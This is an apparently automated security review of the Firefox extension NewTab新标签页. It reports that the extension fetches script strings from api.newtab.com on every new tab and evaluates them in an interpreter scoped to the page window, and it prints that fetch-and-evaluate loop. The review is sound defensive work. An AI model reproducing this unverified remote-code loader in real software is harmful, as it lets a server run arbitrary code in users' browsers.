Is NewTab新标签页 safe?

Medium risk

NewTab downloads code from api.newtab.com on every new tab and runs it in an interpreter over the page's window.

Each time a new tab opens, the extension sends a request to api.newtab.com with its channel code and receives a list of strings. It runs each string through an embedded JavaScript interpreter whose global scope is the new tab page's window, so the code can reach page data and the extension APIs available there. No signature or integrity check is applied to the fetched code.

云动时代v1.2.7Firefox Add-ons
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

New tab page runs script strings from api.newtab.com in an embedded interpreter

Code analysis shows each new tab POSTs to api.newtab.com and evaluates every string in the reply's Data.info array in a JavaScript interpreter built over the page window.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Static analysis
What actually happens
You did this

You open a new browser tab.

The extension overrides the new tab page.

The extension did this

The page requests instructions from api.newtab.com and evaluates each returned string as JavaScript.

This happens before the visible interface loads.

What the new tab page sends and runs
  • Destination
    https://api.newtab.com/api/ver/new

    Host contacted on every new tab load.

  • Channel code
    bdyz

    Distribution identifier sent in the request body.

  • Response field
    Data.info

    Array of strings the page evaluates one by one.

  • Evaluation scope
    new jn.a(window)

    Interpreter global object is the page window.

The code that does this

Fetch, then evaluate each returned string

Readable version

Endpoint wrapper (POST to https://api.newtab.com with channel_code)

js/popup.js
const fetchVerNew = async () => post("/api/ver/new")

Evaluation loop: interpreter built over window, no signature or integrity check

js/popup.js
function runRemoteInfo() {  return new Promise(done => {    fetchVerNew().then(resp => {      const interp = new Interpreter(window); // acorn + eval5 in chunk-vendors.js      resp.Data.info.forEach(src => {        interp.evaluate(src);      });      done();    }).catch(() => { done(); });  });}
Host that supplies the strings
    • api.newtab.com

    Receives the channel code and returns the Data.info strings that are evaluated.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.2.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Act on the current tab, but only after you click the extension

    activeTab

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • See the address and title of every tab you have open

    tabs

  • Read and change your bookmarks

    bookmarks

  • Keep running in the background while your browser is open

    background

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed newtab标签页 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.newtab.com

    newtab标签页 sends data to api.newtab.com. 2 other extensions we have analysed send data here.

Updated 15 October 2026amo-2819333